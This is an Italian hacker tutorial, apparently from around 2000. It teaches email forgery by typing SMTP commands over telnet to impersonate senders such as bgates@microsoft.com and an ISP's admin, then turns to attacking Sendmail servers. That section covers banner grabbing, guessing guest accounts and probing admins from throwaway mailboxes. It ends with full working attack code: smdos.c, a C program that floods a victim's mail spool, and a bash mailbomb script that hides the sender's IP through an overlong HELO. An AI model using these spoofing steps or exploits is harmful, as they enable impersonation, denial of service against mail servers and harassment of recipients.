Adesso procediamo con questo. Questa volta, diversamente dai precedenti tutorials, "imparerò" tutto da capo e ti descriverò e guiderò attraverso l'intero processo di apprendimento e ad usare quello che hai imparato.

Okay, cominciamo.
Il nostro obbiettivo per oggi è smtp.someone.it sulla porta 25.
Primo, collegati tramite telnet in quella porta digitando "telnet smtp.someone.it 25" (senza le virgolette) su uno standard Unix, o c:\windows\telnet.exe o dal tuo telent preferito digitando smtp.someone.it nel campo host e 25 nel campo della porta, o eseguendo il telnet preferito da XWIndows (un interfaccia grafica per Unix. Se tu sei bravo abbastanza da eseguire una qualche versione
di Unix non ti dovrebbe risultare difficile trovarne una. Se tu non gradisci il telent di default puoi sempre andare su www.linuxberg.com e prenderne uno) e digitando i dettagli corretti (host e porta).
Nota su VT: ti potrebbe essere richiesto il tipo di terminale durante il processo di connessione.
Qualcosa con VT e alcuni numeri dopo hmmm.....
VT sta per Virtual Terminal. Poichè ci sono alcuni tipi di terminale (tutti i generi di monitor, vecchi terminali di stampa, ecc..) ti verrà chiesto di sceglierne un tipo. VT100 dovrebbe andare bene per molti.
Nota circa lo shell account(21): se tu non stai eseguendo Unix e vorresti usare strumenti di Unix su un sistema Unix mentre lavori, connettiti tramite telnet a nether.net sulla porta 23, accedi come newuser e ottieni uno shell account gratuito. Se tu sei un utente maggiormente dei programmi

per windows (io uso la roba di windows quando lavoro da windows, eccetto in certe condizioni in cui io
veramente ho bisogno di Unix e non ho voglia di resettare e riavviare. In questo caso, mi procuro uno shell
account così che posso usare le cose di Unix da window) vai avanti (le cose lavoreranno più velocemente poichè
i programmi sono attualmente collocati sulla tua macchina, non su qualche computer distante che esegue
uno shell account), ma io ti raccomando di prendere uno shell account su nether.net (in fatti loro ti insegneranno un sacco di cose fantastiche su Unix quando ti registrerai).
Nota sulla connessione telnet da machintosh: machintosh non ha un programma telnet in dotazione.
Comunque, ne puoi scaricare uno da www.ncsa.edu/SDG/Software/MacTelnet/ (grazie a little_v per questo!).

Adesso, vediamo cosa otteniamo dopo che ci siamo connessi con telnet a smtp.someone.it:25 (in questo caso, il carattere : sta per 'sulla porta').

220 alpha.someone.it ESMTP Sendmail 8.9.3/8.8.6; thu, 8 Jul 2000 21:46:01 +0000 (GMT).

AHA! Questo è... questo è... COSA DIAVOLO E' QUESTA COSA? Questo, amico mio, è un daemon banner(4),
e ci ha appena dato tonnellate di preziosi pezzi di informazione!
Normalmente, queste informazioni sono destinate a un programma client(16) per determinare quale versione
di Sendmail il bersaglio sta eseguendo e come comunicare con esso (il programma dovrebbe sapere che, per
esempio, ogni versione di Sendmail inferiore alla 7.0.0 usa il comando 'halb' invece del comando 'blah',
ecc..). Questo daemon banner è anche una grande cosa per gli hackers e i crackers, poichè possiamo determinare quale versione del nostro obbiettivo è eseguita. Dopo quando discuteremo su come hackerare
il server, queste informazioni saranno estremamente preziose.
Okay, analizziamo cosa abbiamo...
220... non sappiamo che significa per ora...
alpha.someone.it niente fortuna, non può fare niente così...
ESMTP...hmm... SMTP sta per Simple Mail Transfer Protocol. E' il protocollo(18) usato dai clients di posta
per comunicare con i daemons Sendmail, e questo è quello che stiamo provando a imparare proprio ora.
ESMTP è Extended SMTP. E' più o meno lo stesso di SMTP, solo che contiene alcuni comandi in più.
Lasciamo stare questo per il momento.
Sendmail 8.9.3/8.8.6 - AHA! Ecco qualcosa di interessante. Sappiamo la versione del daemon Sendmail!
Ricordati questo, ci aiuterà durante il prossimo capitolo (hacking in un server che esegue Sendmail).
Il resto è immondizia (ora,data, ecc..).
Okay, andiamo avanti... come posso comunicare con questa cosa?
Er... proviamo a digitare 'help' (senza le virgolette). Oh, approposito, è normale non vedere quello che digiti quando comunichi con Sendmail poichè non ti rimanda indietro i tasti digitati. Devi selezionare "local echo" sul tuo programma telnet per poter vedere cosa digiti.

214- This is Sendmail version 8.9.3
214- Topics:
214- HELO EHLO MAIL RCPT DATA
214- RSET NOOP QUIT HELP VRFY
214- EXPN VERB ETRN DSN
214- For more info use "HELP"
214- To report bugs in the implementation send email to
214- sendmail-bugs@sendmail.org.
214- For local information send email to Postmaster at your site.
214- End of HELP info

Weeeee! Questo è grande!!!
A questo punto avresti dovuto supporre che questo numero (il 220 nel daemon banner e il 214 qui sopra)
è in realtà un 'tipo del messaggio'. Esso esprime il tipo del messaggio che ricevi. Ogni tipo di messaggio (errore a causa di questo, errore a causa di quello, aiuto per questo, messaggio di conferma per quello ecc..) ha il suo proprio numero.
Okay, andiamo avanti. Proviamo a digitare 'help helo'.

214- HELO
214- Introduce yourself
214- End of HELP info

Visto? Io te l'avevo detto. 214 è il numero del tipo di messaggio usato per i messaggi di help.
Okay, in questo modo tu puoi praticamente insegnarti cosa fa ogni comando di Sendmail. Fermati subito,
leggi tutti i messaggi di help e poi continua. E' importante che tu impari come imparare le cose da solo.
Potresti vedere alcune note riguardanti la parola RFC(24) e alcuni numeri. Puoi trovare RFC a www.linuxberg.com.
Nota su ESMTP: ricordi quell'ESMTP di cui abbiamo parlato prima? Potrai ottenere un buon indizio su cos'è ESMTP leggendo i messaggi di help. Si, sto provando a obbligarti a leggerli... fallo!
Essi contengono tonnellate di fantastiche informazioni tanto per i newbies che per i professionisti.

Okay, presumo (e spero) che tu abbia finito di leggere tutti quei messaggi di help. Adesso andiamo avanti. Per primo abbiamo bisogno di indicare un mittente. Facciamo questo digitando
'MAIL FROM: <bgates@microsoft.com>'
(rimuovi le virgolette e sostituisci l'indirizzo fasullo con quello che preferisci, ma lascia < e >).

Il mail server dovrebbe rispondere on questo messaggio:

250 bgates@microsoft.com... Sender ok

Poi digitiamo 'RCPT TO: <vitt@lamer.com>' (sostituendo vitt@lamer.com con l'indirizzo a cui vogliamo
inviare l'e-mail)

Dovremmo ottenere:

250 vitt@lamer.it... Recipient ok

Puoi aumentare i destinatari semplicemente ripetendo l'operazione più volte, logicamente con diversi destinatari.

Adesso, pensiamo al corpo del messaggio. Digita 'data' per incominciare a scrivere il corpo del messaggio.

354 Enter mail, end with "." on a line by itself

Adesso digitiamo un pò di cose...

Subject: fake mail (nota circa questa linea: con questa linea tu puoi determinare quale soggetto vuoi dare al tuo messaggio).
Salve. Questa è una e-mail falsa.
Sono annoiato, preferirai fare qualcosa di più serio...
Datemi qualcosa da HACKERARE!!!!
.

Adesso otteniamo questo

250 CAA15133 Message accepted for delivery

Adesso ti starai chiedendo cosa diavolo è quella sigla dopo 250. Questa è chiamata message ID (o MID).
E' solo uno stupido numero, ma lo useremo in seguito... non tormentare la tua preziosa testa per questo.
Adesso, se tu sei se tu fossi il ricevente avresti un falsa e-mail attendibile al 100%? O no?

Diamo un'occhiata a cosa otterrà il ricevente...
Hmmmm... sembra un messaggio comune. Almeno per un utente comune...
Diamo un occhiata alle proprietà.
Le proprietà sono alcune linee che arrivano con ogni indirizzo email. La maggior parte dei client di posta attuali mostrano solo le parti più semplici delle proprietà (mittente, soggetto, data, ecc..), ma adesso abbiamo bisogno delle proprietà complete.
Su Netscape Messanger per mostrare le proprietà vai su View ==> Headers ==> All. Su eudora si fa clickando sul bottone che mostra la didascalia "blah blah blah" quando lasci il puntatore del mouse su di esso per un paio di secondi. Compuserve automaticamente mostra le proprietà complete.
Su outlook, fai click col tasto destro del mouse sul messaggio, scegli proprietà e poi dettagli.
Su pine, dovresti avere un opzione da qualche parte nello schermo di configurazione che ti lascia scegliere quale tipo di header vuoi vedere (intero o breve).
Adesso diamo uno sguardo alle proprietà, fatto?

Received: from alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13])
by cmx.netvision.net.il (8.9.3/8.9.3)
with ESMTP id CAA15313 for victim@victim.com>; Sat, 10 Jul 1999 02:49:59 +0000 (GMT)
From: bgates@microsoft.com
Received: from some.hostname.crap.com (some.hostname.crap.com [62.0.146.225])

by alpha.someone.com (8.9.3/8.8.6)
with SMTP id CAA15313 for victim@victim.com; Sat, 10 Jul 1999 02:55:46 +0300 (IDT)
Date: Sat, 10 Jul 1999 02:55:46 +0300 (IDT)
Message-ID: <199907092355. CAA15313@alpha.someone.com>
X-Authentication-Warning: alpha.someone.com: some.hostname.crap.com [62.0.146.225]
didn't use HELO protocol
Subject: Fake mail
Status:
X-Mozilla-Status: 8001
X-Mozilla-Status2: 00000000
X-UIDL: 3752da3b000002ff

Yeahhh! Guarda tutti questi numeri, lettere e cose incomprensibili!
Incominciamo da sopra:
Received: from alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13]) by cmx.netvision.net.il (8.9.3/8.9.3) with ESMTP id CAA15313 for victim@victim.com>; Sat, 10 Jul 1999 02:49:59 +0000 (GMT)
così l'email è stata ricevuta da alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13]).
Che significa? Una piccola verifica sul database di InterNIC(25) (digitando 'whois alpha.netvision.net.il'
senza le virgolette su un sistema Unix o su SamSpade per windows scaricabile a www.samspade.org) rivela che è posseduta da someone.com. Questo è una sorta di sub-server che essi usano per mandare posta.
Lasciamolo da parte non è importante per noi ora. La parte (alpha.netvision.net.il [194.90.1.13]) mostra l'hostname(10) e l'indirizzo IP(9) del server dal quale è stata mandata l'e-mail.
Ohh, ohh, aspetta! La mail non dovrebbe essere stata mandata da microsoft.com? Mi spiego, il mittente è
bgates@microsoft.com! Se noi avessimo mandato l'email da microsoft.com invece che da someone.com ciò non
sarebbe dovuto accadere. Sarebbe sembrata una normale email...da bill gates... bene, almeno così alla lontana.
Comunque, il resto è semplicemente il MID (di cui ci occuperemo in seguito) e la data del messaggio (la data di spedizione) in accordo con il server dal quale è stato mandato. La parte +0000 (GMT) significa
che è stato mandato da una zona che ha il fuso orario di Greenwich. Se fosse stato mandato, per esempio, dalla
zona di tempo +0200 ciò avrebbe significato che questo fuso orario è attualmente quello di Greenwich più due ore. Cerca la tua zona di fuso orario così che sarai capace di spostare la zona di tempo e quando è stato
mandato il messaggio nel tuo orario.
Adesso, ci sono cose più importanti.

From: bgates@microsoft.com

Bene, suppongo che questa linea sia ovvia, andiamo avanti.

Received: from some.hostname.crap.com (some.hostname.crap.com [62.0.146.225]) by alpha.someone.com

(8.9.3/8.8.6) with SMTP id CAA15313 for victim@victim.com; Sat, 10 Jul 1999 02:55:46 +0300
(IDT)

Okay, adesso questo è veramente interessante. Qui abbiamo l'hostname e l'IP del mittente. Nota circa
l'hostname: un utente dial-up(31) avrà un lungo e contorto hostname. Per esempio: il mio hostname
adesso
(almeno quando stavo scrivendo queste cose) era RAS4-p97.hfa.netvision.net.il . Netvision.net.il è il
mio
ISP, e il resto è per lo più merda (presta particolare attenzione a 'hfa'. Hfa sta per Haifa, che è la mia
città. Ciò significa che mi sto connettendo tramite il server di Netvision di Haifa. Visto? L'hostname
può
essere interessante).
A questo punto ti devi essere accorto che l'hostname che vediamo non proviene certamente da
microsoft.com,
e che il server per la posta che ha mandato questo messaggio non è esattamente microsoft.com o un
sub-domain(26) di microsoft, il che mostra che quest'e-mail è chiaramente falsa.
Un'altra nota circa l'hostname: qualche volta tu potresti non avere un hostname, ma tu avrai sempre un
indirizzo IP. Puoi trovare l'hostname dell'IP (la maggior parte degli IP ha un hostname) digitando
'nslookup indirizzo-ip' senza le virgolette su un sistema Unix o andando su www.samspade.org e
usando
il loro programma di ricerca DNS(17). Se tu ancora non riesci a ottenerlo prova un whois.
Per superare questo problema, devi fare due cose:
1) Mandare quest'e-mail dal server Sendmail di microsoft.
2) Mandare quest'e-mail da un account che è connesso al web tramite microsoft. Se non puoi averne
uno,
ciò mostrerà chiaramente nelle proprietà che la mail non è stata mandata da microsoft.

Nota: un bel trucco per infilare qualcuno: se il tuo ISP è bla.com, puoi mandare ai tuoi amici un e-mail
da admin@bla.com che sembrerà al 100% autentica!

Comunque, i prossimi pochi caratteri ci daranno il MID (Message ID), in aggiunta agli altri pezzi di
informazioni. Avevo promesso che avremmo trattato del MID, non è vero?
Se tu pensi che qualcuno ti sta giocando uno scherzo facendoti credere di essere qualcun'altro,
manda un e-mail a abuse@tuo.ISP.it oppure abuse@server.che.contiene.il.MID.com .
Per sapere quale server contiene il MID, abbiamo bisogno di saltare un pò di linee (due attualmente -
time e data) e andare diritto a questo: Message-ID:

Message-ID: <199907092355. CAA15313@alpha.someone.com>

Aha! Guarda questi interessanti numeri! E osserva questo: CAA15313@alpha.someone.com! Questo
significa
che tutte le informazioni riguardanti il MID sono contenute presso alpha.someone.com! Mandiamo
un email a abuse@alpha.someone.com e diciamo loro che noi pensiamo di aver ricevuto un'email falsa,
includendo tutte le proprietà. La prossima cosa che faremo sarà la stessa con l'ISP del mittente
(nel nostro caso, il mittente è someone.hostname.crap.com [62.0.146.225], che significa che
probabilmente
il suo ISP è crap.com).

Adesso passiamo alla prossima linea:

X-Authentication-Warning: alpha.someone.com: some.hostname.crap.com [62.0.146.225] didn't use HELO protocol

Dannazione! Sapevo di aver dimenticato qualcosa! Adesso facciamo tutto ancora una volta, ma questa volta
scriveremo HELO microsoft.com all'inizio.

HELO microsoft.com

Otteniamo questo:

250 smtp.netvision.com Hello some.hostname.crap.com [62.0.146.225], pleased to meet you

Il resto è esattamente come l'ultima volta (mittente,rcpt to, ecc..). Adesso vediamo cosa avrebbe ricevuto
vitt@lmer.it .

Aha! Nessuno X-Authentication-Warning!

Note finali

Spero che questo capitolo ti sia piaciuto. Adesso hai imparato come fare scherzi inoffensivi e legali ai tuoi amici, come scoprire email false e come è facile acchiapparti se fai cose illegali.
Oh, a proposito, c'è un modo per nascondere il tuo IP/hostname quando falsifichi e-mail...
per maggiori informazioni leggi la seconda sezione nel capitolo 'Okay, io posso hackerare un host che esegue
Sendmail. Come lo posso fare?'.

Hackerare un server? Attraverso Sendmail?!
==
Yeah, sicuro, perchè no? Mi spiego, OGNI servizio(3) è vulnerabile a qualche attacco.
Per questo io raccomando di eseguire quanto meno servizi possibile sul tuo computer.
Ma il più vulnerabile di tutti è Sendmail (per questo è chiamato 'il daemon più buggato sulla terra' o 'il daemon più buggato sul pianeta'). Un membro di una mailing list una volta mi disse che non poteva proprio aspettare di leggere il tutorial su Sendmail (questo accadde prima che rilasciassi questo manuale) e che egli stesso eseguiva Sendmail sul suo computer.
Eseguire Sendmail su un pc è inutile e pericoloso. Se il tuo computer non ha la funzione di server per la posta, non c'è alcuna ragione per cui tu dovresti eseguire Sendmail (a meno che tu non voglia che le persone mandino la posta da tuo-account@tuo.ip invece di tuo-account@tuo.ISP.it . Nota circa tuo-account: nel primo indirizzo, tuo-account è il nome del tuo username o del tuo computer (gli utenti di Unix dovrebbero sapere di cosa sto parlando).
Nel secondo indirizzo tuo-account è il tuo username del tuo ISP).
Nota: le informazioni in questo capitolo possono anche essere usate per hackerare server, o vice versa per proteggere il tuo server. Per favore non infrangere la legge, o almeno non spifferate il mio nome durante le indagini... =)

Okay. la prima cosa che dobbiamo fare per hackerare un server attraverso un servizio specifico
(o per migliorarne la sicurezza) è sapere la versione del servizio. Questo può essere facilmente
fatto vedendo il daemon banner(4). Supponiamo che abbiamo sottocchio un computer che esegue
Sendmail 8.8.3 (che era abbastanza vecchio quando questo tutorial è stato scritto, il che
significa che dovrebbe avere un mucchio di bugs. Sendmail è upgradato principalmente quando un
nuovo bug viene scoperto. In fatti, ogni cosa eccetto la sicurezza del daemon è raramente
cambiata durante gli upgrades).
La prossima cosa che andremo a determinare è l' OS (Operating System) che esegue questo daemon.
Se il daemon banner non ce lo dirà, il daemon Telnet(19) lo farà. Prima collegati tramite telnet
alla porta 23 e incrocia le dita. Se c'è un daemon su quella porta, è sicuramente il daemon
telnet, e probabilmente ti darà il nome e la versione dell'OS. Se no, puoi sia:
1) Provare a cercare per un guest account (username: guest password:guest, username:newuser
password:newuser), poichè alcuni sistemi danno certe informazioni solo dopo che ti sei loggato.
2) Mandare un e-mail a admin@tuo-obbiettivo.it e chiedergli (io consiglio aprendo un mailbox
su uno di questi servizi di mailbox gratuiti come hotmail e mandando da lì, in quanto alcuni
admnin(22) potrebbero avere qualche sospetto...)
3) Provare ad andare sul sito del tuo bersaglio. Questo genere di informazioni potrebbe esserci,
qualche volta (mahhh...)

Se non hai trovato ancora l'OS, non temere! Siamo ancora capaci di fare un fantastico hackeraggio
senza quest'informazione, ma tuttavia questa informazione potrebbe venirci in aiuto, così fai
di tutto per ottenerla!

La prossima cosa, navigherai su alcuni database online finchè avrai trovato il buco che stai
cercando. Prima di tutto ti mostrerò i più grandi e raccomandati database online, e poi ti
insegnerò come cercarli, oltre ad alcuni concetti di valore e parole che ti debbono essere familiari.

Packet Storm Security
++++++++++++++++++++++++++++++++++++
URL:http://packetstorm.security.com
Uno dei più grandi database online per informazioni riguardanti la sicurezza. Io raccomando
di andarci almeno una volta al giorno e leggere la sezione 'New Files Today', che tu stia cercando
un specifico buco o no.
L'archivio fu fondato da Ken Williams e ottiene centinaia di migliaia di visite la settimana.
E' stato recentemente trasferito nella proprietà di Kroll-O-Nagra (www.security.com).

Security Focus
+++++++++++++++++++++++++++++++++++++
URL:http://www.securityfocus.com
Un altro database completo. Aggiornato giornalmente. Qui i ragazzi non dormono mai!

BugTraq
+++++++++++++++++++++++++++++++++++++
URL: ospitato da Security Focus, precedentemente ospitato da Netspace
BugTraq è una delle migliori mailing list. La lista è moderata, il che significa che se tu
trovi un nuovo buco nella sicurezza, puoi solo mandare il tuo messaggio al moderatore, Aleph1
(aleph1@undergound.org). Aleph1 filtra tutta la spazzatura, i messaggi dei lamers, e i vecchi

bugs e spedisce solo le cose utili alla lista.
Io consiglio di segnarsi a www.securityfocus.com. Puoi anche solo cercare nel loro archivio, che è a proposito il mio database preferito, andando a securityfocus.com e cercando un link chiamato 'search'.

Ricerca
****
Se stiamo cercando un bug in Sendmail 8.8.3, dobbiamo digitare le seguenti parole chiave "sendmail 8.8.3" (senza le virgolette). Se cerchiamo qualcosa di specifico, come un attacco locale DoS(29) contro una qualsiasi versione di Sendmail, useremo le seguenti parole chiave: 'local DoS Sendmail' ecc...

Ricerca Packet Storm
+++++++++++++++++++++++
Packet Storm dovrebbe avere un motore di ricerca da qualche parte (Ken cambia la grafica ogni tanto quindi non posso darti l'esatta posizione). Puoi dividere i risultati della ricerca che otterrai in due categorie: testi e programmi.
Per esempio: hai cercato un buco specifico e hai ottenuto un paio di files di testo e un paio di programmi. I files di testo spiegano i bug e come sfruttarli, mentre i programmi usano il buco per riuscire ad entrare. Questi programmi sono spesso chiamati 'exlploits' e generalmente sono costituiti da un codice sorgente invece che da un file binario. Lasciatemi spiegare: un file binario è qualsiasi file non fatto di testo. Files eseguibili sono in genere files binari. Adesso, nel nostro caso, i programmi sono dati come codici sorgenti invece che binari. Il codice sorgente si converte in un eseguibile binario (eccetto i codici sorgenti scritti in Perl, che possono essere eseguito sotto forma di codice se si ha il programma giusto). Comunque, questi programmi sono dati come codici sorgente per darti la possibilità di capire come lavorano e non di eseguirli ciecamente.

Ricerca Security Focus
++++++++++++++++++++++++
Security Focus offre informazioni più organizzate. Invece di vari pezzi di informazioni, security focus offre articoli. Questi includono l'esatta definizione del bug, dove e quando si può verificare, come risolverlo ecc.. . L'unico difetto di security focus è che è più piccolo degli altri database.

BugTraq
++++++++++
Ah... il mio database preferito. Quando le persone inviano qualche messaggio a bugtraq circa un buco nella sicurezza che hanno trovato, le altre persone possono rispondergli e condividere il loro punto di vista. Per esempio: se il difetto persiste anche sul loro computer, come risolvere il bug in vari modi, cosa causa il bug in primo luogo ecc.. . Puoi compilare un database con tutte le informazioni necessarie semplicemente leggendo un paio di lettere.

Venire acchiappati
****
Se stai progettando di fare qualcosa di cattivo, per favore non farlo. Puoi essere acchiappato. Crackers migliori di te già sono stati acchiappati. Non essere stupido.

Okay, io posso hackerare un host che esegue Sendmail. Come lo posso fare?

==
==========
Ho fatto una simpatica lista di alcuni buchi nella sicurezza riguardanti Sendmail giusto per dartene un idea.

Un DoS(29) locale in tutte le versioni di Sendmail superiori alla 8.9.3 (preso da packet storm)
****
Date: Sat, 3 Apr 1999 00:42:56 +0200 From: "[iso-8859-2] Micha³ Szymañski"
To: BUGTRAQ@netspace.org
Subject: Re: Possible local DoS in sendmail

Ciao gente,

Questo attacco queue filling DoS in sendmail è abbastanza pericoloso. Ma una buona politica di sicurezza
(come la mia) preventiverà attacchi che facciano queste cose. Files di controllo (in /var/spool/mqueue) creati con 'sendmail -t' sono posseduti da root.attacker's_group; cambia le quote per il gruppo 'attacker's_group' sul file system contenete il directory /var/spool/mqueue, e il tuo host non sarà più vulnerabile.
Ancora più pericolosi sono gli attacchi queue filling DoS remoti. Se ti è consentito ritrasmettere, puoi usare il programma mostrato sotto: smdos.c; riempirà abbastanza velocemente la partizione sul disco dove
risiede /var/spool/mqueue. Dovresti notare un incremento di LA durante l'attacco; in contrasto con l' attacco DoS locale, i files di controllo creati da smdos.c sono posseduti da root, così è più difficile prevenire attacchi da esso;

Non dimenticare di cambiare la definizione di BSIZE (in smdos.c) all'appropriata limitazione della grandezza
del messaggio host della vittima (MaxMessageSize option); puoi anche incrementare la definizione di MAXCONN.
smdos.c:

------++++++++++++--------

```
/*
By Michal Szymanski <siwa9@box43.gnet.pl>

Sendmail DoS (up to 8.9.3);

Sat Apr  3 00:12:31 CEST 1999
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
```

```
#undef VERBOSE          /* define it, if MORECONN is undefined */

#define MORECONN

// #define RCPT_TO      "foo@ftp.onet.pl"

#define RCPT_TO "foo@10.255.255.255"

#ifdef MORECONN
#define MAXCONN 5
#endif

#define BSIZE   1048576         /* df* control file size */
#define PORT    25

char buffer[BSIZE];
int sockfd,x,loop,chpid;

void usage(char *fname) {
fprintf(stderr,"Usage: %s <victim_host>\n",fname);
exit(1);
}

void say(char *what) {

if (write(sockfd,what,strlen(what))<0) {
perror("write()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,"<%s",what);
#endif

bzero(buffer,BSIZE);

usleep(1000);

if (read(sockfd,buffer,BSIZE)<0) {
perror("read()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,buffer);
#endif
}
```

```
int main(int argc,char *argv[]) {
struct sockaddr_in serv_addr;
struct hostent *host;
char *hostname,hostaddr[20];

fprintf(stderr,"Sendmail DoS (up to 8.9.3) by siwa9 [siwa9@box43.gnet.pl]\n");

if (argc<2) usage(argv[0]);

#ifdef VERBOSE
fprintf(stderr,">Preparing address. \n");
#endif

hostname=argv[1];

serv_addr.sin_port=htons(PORT);
serv_addr.sin_family=AF_INET;

if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) {

#ifdef VERBOSE
fprintf(stderr,">Getting info from DNS.\n");
#endif

if ((host=gethostbyname(hostname))==NULL) {
herror("gethostbyname()");
exit(h_errno);
}

serv_addr.sin_family=host->h_addrtype;

bcopy(host->h_addr,(char *)&serv_addr.sin_addr,host->h_length);

#ifdef VERBOSE
fprintf(stderr,">Official name of host: %s\n",host->h_name);
#endif

hostname=host->h_name;

sprintf(hostaddr,"%d.%d.%d.%d",(unsigned char)host->h_addr[0],
                        (unsigned char)host->h_addr[1],
                        (unsigned char)host->h_addr[2],
                        (unsigned char)host->h_addr[3]);

}
else sprintf(hostaddr,"%s",hostname);
```

```
#ifdef MORECONN
for (;loop<MAXCONN;loop++) if (!(chpid=fork())) {
#endif

for(;;) {

bzero(&(serv_addr.sin_zero),8);

if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) {
perror("socket()");
exit(errno);
}

if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))) == -1) {
perror("connect()");
exit(errno);
}

#ifdef VERBOSE
fprintf(stderr,">Connected to [%s:%d].\n",hostname,PORT);
#endif

bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);
#ifdef VERBOSE
fprintf(stderr,buffer);
#else
fprintf(stderr,".");
#endif

say("helo foo\n");
say("mail from:root@localhost\n");
say("rcpt to:" RCPT_TO "\n");
say("data\n");

for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE);

say("\n.\n");
sleep(1);
say("quit\n");

shutdown(sockfd,2);

close(sockfd);

#ifdef VERBOSE
fprintf(stderr,">Connection closed succesfully.\n");
#endif
```

```
}
#ifdef MORECONN
}
waitpid(chpid,NULL,0);
#endif
return 0;
}
```

------+++++++++++++------

Bug nel comando HELO di Sendmail (preso da rootshell.com)
****
Nota: questo non ti darà l'accesso root(14), ma è lo stesso abbastanza figo. In fatti ti permette di nascondere il tuo IP/hostname quando invii una e-mail falsa!!!

[http://www.rootshell.com]
Noi avevamo questo exploit da gennaio ma non l'abbiamo archiviato finchè tutti hanno implementato una versione stabile di Sendmail 8.9.x. (e perchè l'ultima cosa che voglio è aiutare gli spammers)
E' stato fatto cos' su Bugtraq per evitare ulteriori problemi.

--Rootshell 5/28/98

Date: Fri, 22 May 1998 12:36:54 +0300
From: Valentin Pavlov
Subject: about sendmail 8.8.8 HELO hole

Io ritengo che questo sia abbastanza vecchio (10 gennaio 1998) ma ancora...
Ho trovato un semplice modo per nascondere l'IP del mittente. Il metodo per nascondere l'IP è descritto sotto. Adesso, se vogliamo tenere traccia di simili tentativi di exploit, dobbiamo compilare sendmail 8.8.8 con un PICKY_HELO_CHECK definito in conf.h:

#define PICKY_HELO_CHECK 1

Questo forzerà sendmail a emettere un pericolo di identificazione (messaggio con livello LOG_INFO) e includere u X-Autentication-Warning nelle proprietà del messaggio dicendo che l'host ha provato a nascondersi. Verifica il sorgente (srvrsmtp.c,main.c). Ancora, LogLevel deve essere settato a un valore più alto di 3 (9 è default) in sendmail.cf.

saluti
capone

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Make source, not [high]score

Valentin 'Val Capone' Pavlov
----
capone@netbg.com, UKTC87203
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Adesso per il messaggio originale, che descrive l'exploit:

-----Original Message-----
From: Micha³ Zalewski
To: info@rootshell.com
Date: 10 stycznia 1998 12:28
Subject: Sendmail 8.8.8 (qmail?) HELO hole.

Qui c'è una breve descrizione di un buco d Sendmail (qmail) che ho trovato recentemente:

Quando qualcuno ti mailbomba, o prova a mandarti una e-mail falsa, spam, ecc.. - sendmail normalmente
attacca hostname del mittente e il suo indirizzo nel messaggio in uscita:
--
>From spam@flooders.net Mon Jan 5 22:08:21 1998
Received: from spammer (marc@math.university.edu [150.129.84.5])
by myhost.com (8.8.8/8.8.8) with SMTP id WAA00376
for lcamtuf; Mon, 5 Jan 1998 22:07:54 +0100
Date: Mon, 5 Jan 1998 22:07:54 +0100
From: spam@flooders.net
Message-Id: <3.14159665@pi>

MAILBOOM!!!
--

Questo è perfetto - adesso sai, chi è il responsabile per quelle noiose fesserie nel tuo mailbox: "Received: from spammer (marc@math.university.edu [150.129.84.5])". Niente di più facile... Ma io trovai un piccolo buco, che permette all'utente di nascondere le sue generalità e di mandare messaggi anonimamente. La sola cosa che devi fare è passare al comando HELO una stringa più lunga di 1024 caratteri circa. La locazione del mittente e altre informazioni molto importanti saranno tagliati!!!! Le proprietà del messaggio diventeranno non interessanti. Qualche volta, il mittente può diventare abbastanza non rintracciabile (ma non sempre, se è possibile ottenere i logs dalla macchina da cui è stato mandato il messaggio):

--
>From spam@flooders.net Mon Jan 5 22:09:05 1998
Received: from xxxxxxxxxxxxxx... [molte 'x' dopo...] ...xxxx
Date: Mon, 5 Jan 1998 22:08:52 +0100
From: spam@flooders.net
Message-Id: <3.14159665@pi>

MAILBOOM!!! Adesso indovina chi sono...
--

Qui c'è un piccolo esempio del buco del comando HELO di sendmail. Nota, questo script è stato scritto solo per mostrarti quanto può essere facile mandare e-mail false, mailbomb, con la cooperazione di Sendmail ;) Lo script è molto lento e restrittivo in molti casi, ma spiega bene il problema.

(nota, alcuni daemons non di Berkeley sono anche affetti, probabilmente Qmail??):

```
-- EXPLOIT CODE --
#!/bin/bash
TMPDIR=/tmp/`whoami`
PLIK=$TMPDIR/.safe
TIMEOUT=2
LIMIT=10
MAX=20

echo
echo "SafeBomb 1.02b -- sendmail HELO hole usage example"
echo "Author: Michal Zalewski "
echo

if [ "$4" = "" ]; then
echo "USAGE: $0 msgfile address server sender"
echo
echo " msgfile - file to send as a message body"
echo " address - address of lucky recipient"
echo " server - outgoing smtp server w/sendmail"
echo " sender - introduce yourself"
echo
echo "WARNING: For educational use ONLY. Mailbombing is illegal."
echo "Think twice BEFORE you use this program in any way. Also,"
echo "I've never said this program is 100% safe nor bug-free."
echo
sleep 1
exit 0
fi

if [ ! -f $1 ]; then
echo "Message file not found."
echo
exit 0
fi

echo -n "Preparing message..."
mkdir $TMPDIR &>/dev/null
chmod 700 $TMPDIR
echo "echo \"helo
___safebomb__safebomb__safebomb>$PLIK
echo "echo \"mail from: \\\"$4\\\"\"" >>$PLIK
echo "echo \"rcpt to: $2\"" >>$PLIK
echo "echo \"data\"" >>$PLIK
echo "cat <<__qniec__" >>$PLIK
cat $1 >>$PLIK
echo "__qniec__" >>$PLIK
```

```
echo "echo \".\"" >>$PLIK
echo "echo \"quit\"" >>$PLIK
echo "sleep $TIMEOUT" >>$PLIK
chmod +x $PLIK
echo "OK"

echo "Sending $1 (as $4) to $2 via $3 -- Ctrl+Z to abort."
SENT=0

while [ -f $1 ]; do
$PLIK|telnet $3 25 &>/dev/null &
let SENT=SENT+1
echo -ne "Sent: $SENT\b\b\b\b\b\b\b\b\b\b\b\b\b"
CONNECTED=`ps|grep -c "telnet $3"`
if [ "$LIMIT" -le "$CONNECTED" ]; then
while [ "$LIMIT" -le "$CONNECTED" ]; do
sleep 1
done
fi
if [ "$SENT" -ge "$MAX" ]; then
echo "It's just an example, sorry."
echo
exit 0
fi
done
-- EOF --
```

